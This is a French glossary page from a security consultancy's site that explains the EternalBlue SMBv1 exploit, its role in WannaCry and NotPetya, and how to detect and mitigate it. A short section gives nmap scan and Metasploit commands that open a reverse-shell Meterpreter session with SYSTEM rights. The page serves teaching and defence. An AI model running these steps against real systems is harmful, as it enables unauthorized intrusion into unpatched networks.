EternalBlue
hackingDéfinition
EternalBlue (CVE-2017-0144, MS17-010) est un exploit développé par la NSA et rendu public en avril 2017 par le groupe Shadow Brokers, ciblant une vulnérabilité dans l'implémentation SMBv1 de Windows. Il a été utilisé dans les cyberattaques WannaCry (mai 2017) et NotPetya (juin 2017), causant des dommages estimés à plusieurs dizaines de milliards de dollars mondialement. La vulnérabilité réside dans la gestion des transactions SMB (Trans2) dans le protocole SMBv1. Un paquet SMB malformé peut provoquer un buffer overflow permettant l'exécution de code arbitraire en mode kernel avec les privilèges SYSTEM. L'exploit ne nécessite aucune authentification et fonctionne sur tous les systèmes Windows de Windows XP à Windows Server 2008 R2 non patchés. EternalBlue est intégré dans Metasploit (exploit/windows/smb/ms17_010_eternalblue) et a été implémenté dans de nombreux outils offensifs. Dans le contexte de WannaCry et NotPetya, il était combiné avec DoublePulsar (une backdoor kernel NSA) pour installer et propager les ransomwares latéralement sur les réseaux internes sans interaction utilisateur. Bien que le patch MS17-010 soit disponible depuis mars 2017, des systèmes non patchés continuent d'être découverts lors de pentests internes, notamment des systèmes embarqués, des OT/SCADA Windows, des postes médicaux, et des systèmes isolés de patches. En 2024, EternalBlue reste dans les top exploits utilisés dans des attaques réelles. L'impact de WannaCry/NotPetya a catalysé des changements majeurs : désactivation de SMBv1 par défaut dans Windows 10, obligation de patcher MS17-010 dans de nombreuses organisations, et prise de conscience accrue sur la gestion des patchs en entreprise.
Fonctionnement
Vérification de vulnérabilité : nmap --script smb-vuln-ms17-010 -p445 192.168.1.0/24. Exploitation avec Metasploit : use exploit/windows/smb/ms17_010_eternalblue → set RHOSTS [cible] → set payload windows/x64/meterpreter/reverse_tcp → run. Résultat : session Meterpreter avec SYSTEM. Pas de credentials requis. Fonctionne en quelques secondes sur des systèmes non patchés.
Exploitation offensive
EternalBlue est le vecteur de propagation latérale le plus impactant de l'histoire moderne. Dans les pentests, des systèmes Windows non patchés (XP, 7, Server 2003/2008) sont encore fréquemment trouvés dans des réseaux OT/SCADA et médicaux. Un seul système vulnérable sur un segment de réseau accessible peut compromettre toute l'infrastructure via propagation automatique.
Détection et mitigation
Appliquer MS17-010 (patch de mars 2017). Désactiver SMBv1 via GPO et PowerShell : Set-SmbServerConfiguration -EnableSMB1Protocol $false. Bloquer SMB (port 445) depuis l'extérieur et entre segments réseau sensibles via le firewall. Les IDS/IPS (Snort, Suricata) ont des signatures pour les tentatives EternalBlue.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés. 2.1.7
Un projet cybersécurité ?
Expert dispo · Réponse 24h